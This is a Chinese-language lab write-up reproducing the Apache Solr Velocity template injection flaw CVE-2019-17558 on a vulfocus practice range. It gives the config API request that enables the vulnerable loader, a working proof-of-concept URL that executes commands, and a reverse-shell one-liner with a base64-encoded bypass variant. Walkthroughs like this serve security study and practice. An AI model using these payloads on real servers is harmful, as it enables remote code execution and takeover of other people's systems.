【漏洞复现-solr-命令执行】vulfocus/solr-cve_2019_17558
目录
一、靶场环境
1.1、平台:
1.2、知识:
1.3、描述:
二、漏洞验证
2.1、分析:
一、靶场环境
1.1、平台:
Vulfocus 漏洞威胁分析平台
123.58.224.8:28378
1.2、知识:
1、API接口信息,配置文件
1.3、描述:
Apache Solr 5.0.0版本至8.3.1版本中存在输入验证错误漏洞。
攻击者可借助自定义的Velocity模板功能,利用Velocity-SSTI漏洞在Solr系统上执行任意代码。
二、漏洞验证
2.1、分析:
第一步:
访问特定url启用配置params.resource.loader.enabled,其中API路径包含core名称
访问
/solr/admin/cores?indexInfo=false&wt=json
第二步:
启用配置 params.resource.loader.enabled 为true
在url访问/solr/demo/config,bp抓包 改成POST然后修改启动配置
修改一:
改为POST请求
修改二:
{ "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } }
第三步:
注入Velocity模板即可执行任意命令
POC:
/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27ls%20/tmp%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
URL中插入命令
扩展:
使用bash来反弹shell【但Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法】
需要进行一次base64编码绕过
bash -i >& /dev/tcp/ip/port 0>&1
%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8+ip/port的base64编码+IDA%2BJjE%3D
组合
bash%20-c%20{echo%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8+ip/port的base64编码+IDA%2BJjE%3D}|{base64%2C-d}|{bash%2C-i}